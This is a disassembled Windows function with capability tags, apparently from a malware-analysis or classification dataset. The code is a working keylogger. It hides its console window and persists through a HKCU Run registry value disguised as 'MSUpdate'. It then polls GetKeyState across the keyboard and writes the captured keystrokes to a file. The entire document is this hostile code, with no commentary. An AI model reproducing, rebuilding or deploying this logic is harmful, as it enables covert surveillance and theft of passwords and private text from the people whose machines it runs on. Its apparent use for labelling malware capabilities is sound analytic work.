Function at 0x1400019d0
Capabilities:
Log keystrokes via polling
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x470]
sub rsp, 0x570
mov rax, qword [0x14000d040]
xor rax, rsp
mov qword [rbp + 0x460], rax
xor r13d, r13d
mov esi, r13d
mov dword [rsp + 0x34], r13d
call fcn.140005a80
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
call fcn.140005fa0
lea rdx, [0x140001310]
lea rcx, [0x14000da20]
call fcn.140005270
call fcn.140005af0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov edx, 0x400
lea rcx, [rbp + 0x60]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__getcwd]
lea rcx, [rbp + 0x60]
dec rcx
lea rcx, [rcx + 1]
cmp byte [rcx], sil
jne 0x140001a65
movzx eax, word [0x14000973c]
mov word [rcx], ax
lea rcx, [rbp + 0x60]
dec rcx
nop
lea rcx, [rcx + 1]
cmp byte [rcx], sil
jne 0x140001a80
movups xmm0, xmmword [str.access_register.exe]
movups xmmword [rcx], xmm0
mov eax, dword [0x140009820]
mov dword [rcx + 0x10], eax
lea rdx, [rbp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002f90
lea rcx, [rbp + 0x60]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], sil
jne 0x140001ab7
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 1
lea r8, str.MSUpdate
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
test eax, eax
jne 0x140001afe
lea rcx, str.successful
call fcn.140001030
call fcn.140001780
mov r12d, 0xffff8001
lea rdi, [0x140009924]
lea r15, vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
lea r14, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
nop
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 8
mov ecx, ebx
call qword [0x14000da20]
cmp ax, r12w
jne 0x140001dc3
mov ecx, ebx
call fcn.140001390
test al, al
jne 0x140001dc3
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
test al, 1
je 0x140001c11
cmp ebx, 0x31
jne 0x140001b78
mov cl, 0x21
call fcn.140003380
jmp 0x140001dc3
cmp ebx, 0x32
jne 0x140001b89
mov cl, 0x40
call fcn.140003380
jmp 0x140001dc3
cmp ebx, 0x33
jne 0x140001b9a
mov cl, 0x23
call fcn.140003380
jmp 0x140001dc3
cmp ebx, 0x34
jne 0x140001bab
mov cl, 0x24
call fcn.140003380
jmp 0x140001dc3
cmp ebx, 0x35
jne 0x140001bbc
mov cl, 0x25
call fcn.140003380
jmp 0x140001dc3
cmp ebx, 0x36
jne 0x140001bcd
mov cl, 0x5e
call fcn.140003380
jmp 0x140001dc3
cmp ebx, 0x37
jne 0x140001bde
mov cl, 0x26
call fcn.140003380
jmp 0x140001dc3
cmp ebx, 0x38
jne 0x140001bef
mov cl, 0x2a
call fcn.140003380
jmp 0x140001dc3
cmp ebx, 0x39
jne 0x140001c00
mov cl, 0x28
call fcn.140003380
jmp 0x140001dc3
cmp ebx, 0x30
jne 0x140001c11
mov cl, 0x29
call fcn.140003380
jmp 0x140001dc3
xor edx, edx
mov r8d, 0x118
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x40], rdi
lea rax, [0x140009870]
mov qword [rsp + 0x50], rax
lea rcx, [rbp - 8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or esi, 1
mov dword [rsp + 0x34], esi
xor r8d, r8d
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x40], r15
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb8]
mov dword [rsp + rcx + 0x3c], edx
lea rcx, [rsp + 0x58]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
mov qword [rsp + 0x58], r14
mov byte [rbp - 0x2c], 0
mov byte [rbp - 0x37], 0
lea rcx, [rsp + 0x58]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp - 0x28], r13
mov rax, qword [0x14000da10]
mov qword [rbp - 0x34], rax
mov qword [rbp - 0x40], r13
lea rcx, [rsp + 0x40]
call fcn.140002aa0
cmp qword [rbp - 0x28], 0
je 0x140001d3d
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
movzx edi, ax
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
test dil, 1
jne 0x140001cec
test al, al
jne 0x140001cfb
jmp 0x140001cf0
test al, al
je 0x140001cfb
movsx ecx, bl
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov ebx, eax
movzx edx, bl
lea rcx, [rsp + 0x50]
call fcn.140003170
lea rcx, [rsp + 0x58]
call fcn.140002ea0
test rax, rax
jne 0x140001d36
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x40]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rdi, [0x140009924]
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x40], r15
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb8]
mov dword [rsp + rcx + 0x3c], edx
mov qword [rsp + 0x58], r14
cmp qword [rbp - 0x28], 0
je 0x140001d92
lea rcx, [rbp - 0x38]
mov rax, qword [rsp + 0x70]
cmp qword [rax], rcx
jne 0x140001d92
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x20]
mov qword [rax], rcx
mov rax, qword [rbp - 0x70]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp - 0x58]
mov dword [rax], edx
cmp byte [rbp - 0x2c], 0
je 0x140001da2
lea rcx, [rsp + 0x58]
call fcn.140002ea0
lea rcx, [rsp + 0x58]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp - 8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
inc ebx
cmp ebx, 0xde
jle 0x140001b30
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001b20